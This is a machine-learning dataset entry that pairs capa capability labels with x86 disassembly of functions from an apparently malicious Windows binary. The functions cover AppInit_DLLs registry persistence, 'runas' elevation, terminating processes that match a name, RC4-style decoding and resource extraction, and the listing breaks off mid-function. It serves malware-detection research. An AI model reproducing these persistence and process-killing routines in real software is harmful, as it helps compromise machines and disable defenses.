joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412040
Capabilities:
Persist via appinit_dlls registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa10
mov eax, dword [0x75a440]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0xa08]
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x41207c
mov eax, 1
jmp 0x412209
mov dword [ebp - 0xa10], 0x400
push 0x400
push 0
lea ecx, [ebp - 0xa04]
push ecx
call fcn.0046f6f0
add esp, 0xc
push 0x400
push 0
lea edx, [ebp - 0x604]
push edx
call fcn.0046f6f0
add esp, 0xc
lea eax, [ebp - 0xa10]
push eax
lea ecx, [ebp - 0xa04]
push ecx
push 0
push 0
push str.AppInit_DLLs
mov edx, dword [ebp - 0xa08]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4120f1
mov eax, dword [ebp - 0xa08]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 2
jmp 0x412209
mov ecx, 2
imul edx, ecx, 0
movzx eax, word [ebp + edx - 0xa04]
test eax, eax
je 0x4121fb
lea ecx, [ebp - 0xa04]
mov dword [ebp - 0xa0c], ecx
cmp dword [ebp - 0xa0c], 0
je 0x4121a6
lea edx, [ebp - 0x204]
push edx
mov edx, 0x498208
mov ecx, dword [ebp - 0xa0c]
call fcn.00411ce0
mov dword [ebp - 0xa0c], eax
push 0x49820c
lea eax, [ebp - 0x204]
push eax
call fcn.004146b0
add esp, 8
test eax, eax
je 0x412159
jmp 0x4121a1
mov ecx, 2
imul edx, ecx, 0
movzx eax, word [ebp + edx - 0x604]
test eax, eax
je 0x412186
push 0x49821c
push 0x200
lea ecx, [ebp - 0x604]
push ecx
call fcn.00473947
add esp, 0xc
lea edx, [ebp - 0x204]
push edx
push 0x200
lea eax, [ebp - 0x604]
push eax
call fcn.00473947
add esp, 0xc
jmp 0x412115
lea ecx, [ebp - 0x604]
push ecx
call fcn.004719a5
add esp, 4
lea edx, [eax + eax + 2]
mov dword [ebp - 0xa10], edx
mov eax, dword [ebp - 0xa10]
push eax
lea ecx, [ebp - 0x604]
push ecx
push 1
push 0
push 0x498220
mov edx, dword [ebp - 0xa08]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4121fb
mov eax, dword [ebp - 0xa08]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 3
jmp 0x412209
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411e60
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c358
mov esp, ebp
pop ebp
ret
Function at 0x414700
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x75a440]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x208], 0
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x204]
push ecx
call fcn.00471861
add esp, 8
lea edx, [ebp - 0x204]
push edx
call fcn.004719a5
add esp, 4
lea eax, [eax + eax + 2]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x208]
shl ecx, 1
mov dword [ebp - 0x20c], ecx
cmp dword [ebp - 0x20c], 0x200
jae 0x414765
jmp 0x41476b
call fcn.0046c27b
nop
xor edx, edx
mov eax, dword [ebp - 0x20c]
mov word [ebp + eax - 0x204], dx
mov ecx, dword [ebp - 0x208]
push ecx
lea edx, [ebp - 0x204]
push edx
push 1
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c358
mov esp, ebp
pop ebp
ret

Function at 0x414df0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax + 8], 0x67452301
mov edx, 4
shl edx, 0
mov eax, dword [ebp + 8]
mov dword [eax + edx + 8], 0xefcdab89
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + ecx + 8], 0x98badcfe
mov eax, 4
imul ecx, eax, 3
mov edx, dword [ebp + 8]
mov dword [edx + ecx + 8], 0x10325476
pop ebp
ret
Function at 0x417440
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
cmp dword [ebp + 8], 0
jne 0x41745c
xor eax, eax
jmp 0x4175ee
mov ecx, dword [ebp + 0xc]
push ecx
push 1
call fcn.004786f7
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x41747a
xor eax, eax
jmp 0x4175ee
mov edx, dword [ebp + 8]
mov dword [ebp - 0x20], edx
cmp dword [ebp + 0xc], 4
jle 0x417565
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
test eax, eax
jne 0x417565
mov ecx, 1
shl ecx, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
test eax, eax
jne 0x417565
mov ecx, 1
shl ecx, 1
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
test eax, eax
je 0x417565
mov ecx, 1
imul edx, ecx, 3
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + edx]
test ecx, ecx
je 0x417565
mov edx, 1
shl edx, 1
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + edx]
mov dword [ebp - 0x24], ecx
mov edx, 1
imul eax, edx, 3
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + eax]
mov dword [ebp - 0x28], edx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 4
jmp 0x417521
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x417559
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
div dword [ebp - 0x24]
test edx, edx
jne 0x417557
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
jmp 0x417518
mov ecx, dword [ebp - 8]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp + 0xc]
add eax, 4
push eax
push 1
call fcn.004786f7
add esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x417583
xor eax, eax
jmp 0x4175ee
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [ecx], edx
mov dword [ebp - 0x10], 0x75bcd15
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], ecx
cmp dword [ebp + 0xc], 0
jle 0x4175df
mov edx, dword [ebp - 0x18]
mov eax, dword [edx]
xor eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
push 0xd
mov edx, dword [ebp - 0x10]
push edx
call fcn.004784b6
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
add ecx, 4
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp + 0xc]
sub edx, 4
mov dword [ebp + 0xc], edx
jmp 0x41759e
mov eax, dword [ebp - 0xc]
push eax
call fcn.00471e7c
add esp, 4
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x417600
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x75a440]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x100
lea eax, [ebp - 0x204]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x244], 0x3c
push 0x38
push 0
lea ecx, [ebp - 0x240]
push ecx
call fcn.0046f6f0
add esp, 0xc
mov dword [ebp - 0x240], 0x140
mov dword [ebp - 0x238], str.runas
lea edx, [ebp - 0x204]
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x23c], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x208]
movzx ecx, word [eax]
cmp ecx, 0x22
jne 0x4176e4
mov edx, dword [ebp - 0x208]
movzx eax, word [edx]
test eax, eax
je 0x4176e2
mov ecx, dword [ebp - 0x208]
movzx edx, word [ecx]
cmp edx, 0x22
jne 0x4176d1
mov eax, dword [ebp - 0x208]
add eax, 2
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x208]
movzx edx, word [ecx]
cmp edx, 0x20
jne 0x4176cf
mov eax, dword [ebp - 0x208]
add eax, 2
mov dword [ebp - 0x208], eax
jmp 0x4176e2
mov ecx, dword [ebp - 0x208]
add ecx, 2
mov dword [ebp - 0x208], ecx
jmp 0x417688
jmp 0x417721
mov edx, dword [ebp - 0x208]
movzx eax, word [edx]
test eax, eax
je 0x417721
mov ecx, dword [ebp - 0x208]
movzx edx, word [ecx]
cmp edx, 0x20
jne 0x417710
mov eax, dword [ebp - 0x208]
add eax, 2
mov dword [ebp - 0x208], eax
jmp 0x417721
mov ecx, dword [ebp - 0x208]
add ecx, 2
mov dword [ebp - 0x208], ecx
jmp 0x4176e4
mov edx, dword [ebp - 0x208]
movzx eax, word [edx]
test eax, eax
jne 0x417738
mov dword [ebp - 0x208], 0
mov ecx, dword [ebp - 0x208]
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x228], 1
lea edx, [ebp - 0x244]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
nop
cmp dword [ebp - 0x224], 0x20
ja 0x417769
xor al, al
jmp 0x41776b
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c358
mov esp, ebp
pop ebp
ret

Function at 0x417780
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call fcn.004719a5
add esp, 4
add eax, 1
push eax
push 2
call fcn.004786f7
add esp, 8
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00471861
add esp, 8
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0x4177d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret
Function at 0x417e40
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x91c
mov eax, dword [0x75a440]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x914], eax
lea eax, [ebp - 0x910]
push eax
push 0x400
lea ecx, [ebp - 0x504]
push ecx
call sub.PSAPI.DLL_EnumProcesses
call fcn.00411dd0
nop
mov dword [ebp - 0x908], 0
jmp 0x417e98
mov edx, dword [ebp - 0x908]
add edx, 1
mov dword [ebp - 0x908], edx
mov eax, dword [ebp - 0x910]
shr eax, 2
cmp dword [ebp - 0x908], eax
jae 0x417f9f
mov ecx, dword [ebp - 0x908]
mov edx, dword [ebp + ecx*4 - 0x504]
cmp edx, dword [ebp - 0x914]
je 0x417f9a
mov eax, dword [ebp - 0x908]
mov ecx, dword [ebp + eax*4 - 0x504]
push ecx
push 0
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 0
je 0x417f9a
lea edx, [ebp - 0x918]
push edx
push 0x400
lea eax, [ebp - 0x904]
push eax
mov ecx, dword [ebp - 0x90c]
push ecx
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x417f8c
push 0x80
lea edx, [ebp - 0x104]
push edx
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + ecx - 0x904]
push edx
mov eax, dword [ebp - 0x90c]
push eax
call sub.PSAPI.DLL_GetModuleBaseNameW
push 0x80
lea ecx, [ebp - 0x104]
push ecx
call fcn.004786a9
add esp, 8
push 0x498f88
lea edx, [ebp - 0x104]
push edx
call fcn.004102f0
add esp, 8
test eax, eax
je 0x417f8c
push 0
mov eax, dword [ebp - 0x90c]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x91c], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
mov ecx, dword [ebp - 0x90c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x417e89
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c358
mov esp, ebp
pop ebp
ret
Function at 0x417fb0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa40
mov eax, dword [0x75a440]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0
je 0x418111
call fcn.00411dd0
mov dword [ebp - 0xa34], 1
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + 0xc]
mov dword [ebp + ecx - 0x804], edx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0xa3c], eax
push 0x22c
push 0
lea eax, [ebp - 0xa30]
push eax
call fcn.0046f6f0
add esp, 0xc
mov dword [ebp - 0xa30], 0x22c
lea ecx, [ebp - 0xa30]
push ecx
mov edx, dword [ebp - 0xa3c]
push edx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x418091
mov eax, dword [ebp - 0xa28]
cmp eax, dword [ebp + 8]
je 0x41807a
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0xa18]
jne 0x41807a
mov edx, dword [ebp - 0xa34]
mov eax, dword [ebp - 0xa28]
mov dword [ebp + edx*4 - 0x804], eax
mov ecx, dword [ebp - 0xa34]
add ecx, 1
mov dword [ebp - 0xa34], ecx
cmp dword [ebp - 0xa34], 0x200
jb 0x41807a
jmp 0x418091
lea edx, [ebp - 0xa30]
push edx
mov eax, dword [ebp - 0xa3c]
push eax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x418034
mov ecx, dword [ebp - 0xa3c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [ebp - 0xa38], 0
jmp 0x4180ba
mov edx, dword [ebp - 0xa38]
add edx, 1
mov dword [ebp - 0xa38], edx
mov eax, dword [ebp - 0xa38]
cmp eax, dword [ebp - 0xa34]
jae 0x418111
mov ecx, dword [ebp - 0xa38]
mov edx, dword [ebp + ecx*4 - 0x804]
push edx
push 0
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xa40], eax
cmp dword [ebp - 0xa40], 0xffffffff
je 0x41810f
push 0
mov eax, dword [ebp - 0xa40]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0xa40]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x4180ab
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c358
mov esp, ebp
pop ebp
ret
Function at 0x4195d0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x75a440]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], 0
push 0
push 0
push 3
push 0
push 1
push bind
mov ecx, dword [ebp + 0xc]
call fcn.0040b5b0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x41962c
push 0x73e78a
mov ecx, dword [ebp + 8]
call fcn.004051e0
mov eax, dword [ebp - 0x24]
or eax, 1
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 8]
jmp 0x4196b8
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x28]
push edx
call fcn.0046c6ef
add esp, 4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
push 0
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x1c]
push edx
call fcn.004125e0
add esp, 0xc
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.0046bf02
add esp, 4
lea edx, [ebp - 0x1c]
push edx
mov ecx, dword [ebp + 8]
call fcn.00405020
mov eax, dword [ebp - 0x24]
or eax, 1
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x1c]
call fcn.00406eb0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c358
mov esp, ebp
pop ebp
ret
Function at 0x419e90
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0xc], 0x80004005
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea eax, [ebp - 4]
push eax
push 0x74c1d8
push 1
push 0
push 0x74c1f8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x419f93
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 8]
push ecx
push 0x74c1e8
mov edx, dword [ebp - 4]
push edx
call dword [ebp - 0x10]
nop
cmp dword [ebp - 8], 0
je 0x419f93
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov eax, dword [edx + 0x2c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp + 0x18]
push eax
push 0x77c828
mov ecx, dword [ebp - 4]
push ecx
call dword [ebp - 0x20]
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x24], ecx
push 1
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx + 8]
call ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [eax + 8]
call edx
nop
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x419fb0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x45c
mov eax, dword [0x75a440]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44
push 0
lea eax, [ebp - 0x45c]
push eax
call fcn.0046f6f0
add esp, 0xc
mov dword [ebp - 0x45c], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x418]
push ecx
call fcn.0046f6f0
add esp, 0xc
cmp dword [ebp + 0xc], 0
je 0x41a018
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push str.__s___s
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x41a031
mov edx, dword [ebp + 8]
push edx
push 0x73e8e8
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x45c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [ebp - 0x418], 0
je 0x41a06f
mov dword [ebp - 0x408], 1
jmp 0x41a079
mov dword [ebp - 0x408], 0
movzx eax, byte [ebp - 0x408]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c358
mov esp, ebp
pop ebp
ret
Function at 0x41bb80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0x10
push 1
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
push 0xb
push str.FileVersion
mov eax, dword [ebp - 4]
push eax
call fcn.004739a1
add esp, 0xc
test eax, eax
jne 0x41bc7a
mov ecx, dword [ebp - 4]
add ecx, 0x1a
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0x77cc28
mov dword [ebp - 0xc], 0x77c3e8
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
je 0x41bc6a
mov ecx, dword [ebp - 4]
movzx edx, word [ecx]
cmp edx, 0x2c
jne 0x41bc2c
mov eax, 0x2e
mov ecx, dword [ebp - 8]
mov word [ecx], ax
mov edx, dword [ebp - 8]
add edx, 2
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov byte [eax], 0x2e
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
jmp 0x41bc5f
mov edx, dword [ebp - 4]
movzx eax, word [edx]
cmp eax, 0x20
je 0x41bc5f
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov ax, word [edx]
mov word [ecx], ax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov al, byte [edx]
mov byte [ecx], al
mov ecx, dword [ebp - 8]
add ecx, 2
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, 2
mov dword [ebp - 4], eax
jmp 0x41bbf2
xor ecx, ecx
mov edx, dword [ebp - 8]
mov word [edx], cx
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
jmp 0x41bc96
mov ecx, dword [ebp - 4]
add ecx, 2
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x18]
sub edx, 2
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0xa
ja 0x41bbc0
mov dword [ebp - 0x10], 0x77c3e8
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x10]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41bd04
mov edx, dword [ebp - 0x10]
movsx eax, byte [edx]
cmp eax, 0x2e
jne 0x41bcc4
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
jmp 0x41bcf9
mov edx, dword [ebp - 0x10]
movsx eax, byte [edx]
cmp eax, 0x30
jl 0x41bcf9
mov ecx, dword [ebp - 0x10]
movsx edx, byte [ecx]
cmp edx, 0x39
jg 0x41bcf9
mov eax, dword [ebp - 0x14]
imul ecx, dword [eax*4 + 0x75c304], 0xa
mov edx, dword [ebp - 0x10]
movsx eax, byte [edx]
lea ecx, [ecx + eax - 0x30]
mov edx, dword [ebp - 0x14]
mov dword [edx*4 + 0x75c304], ecx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
jmp 0x41bca4
mov esp, ebp
pop ebp
ret
Function at 0x41c5b0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x75a440]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x20
push 0
lea eax, [ebp - 0x48]
push eax
call fcn.0046f6f0
add esp, 0xc
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 0x11
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x48]
push edx
push 0x73ee34
lea eax, [ebp - 0x1c]
push eax
mov ecx, 0x75c360
call fcn.00414b20
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
call fcn.0040b5b0
push eax
call dword [sym.imp.WS2_32.dll_GetAddrInfoW]
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x1c]
call fcn.00406ed0
nop
cmp dword [ebp - 0x24], 0
je 0x41c628
mov al, 1
jmp 0x41c634
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.WS2_32.dll_FreeAddrInfoW]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c358
mov esp, ebp
pop ebp
ret

Function at 0x41c6d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x75a440]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x238], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x234], eax
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.0046f6f0
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x41c763
mov eax, dword [ebp - 0x228]
cmp eax, dword [ebp + 8]
jne 0x41c74c
mov ecx, dword [ebp - 0x218]
mov dword [ebp - 0x238], ecx
jmp 0x41c763
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x41c733
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c358
mov esp, ebp
pop ebp
ret
Function at 0x41c820
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
add edx, 4
push edx
push 1
call fcn.004786f7
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [ebp - 8], 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 8]
push ecx
push 0x73ee3c
mov edx, dword [ebp - 0x10]
push edx
call sub.VERSION.dll_VerQueryValueW
nop
cmp dword [ebp - 8], 0
je 0x41c887
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
shr edx, 0x10
mov eax, 4
imul ecx, eax, 0
mov dword [ecx + 0x75c304], edx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
and eax, 0xffff
mov ecx, 4
shl ecx, 0
mov dword [ecx + 0x75c304], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
shr eax, 0x10
and eax, 0x1f
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
shr edx, 0x15
and edx, 0xf
imul ecx, edx, 0x64
add eax, ecx
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0xc]
shr ecx, 0x19
imul edx, ecx, 0x2710
add eax, edx
mov ecx, 4
shl ecx, 1
mov dword [ecx + 0x75c304], eax
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
and eax, 0xffff
mov ecx, 4
imul edx, ecx, 3
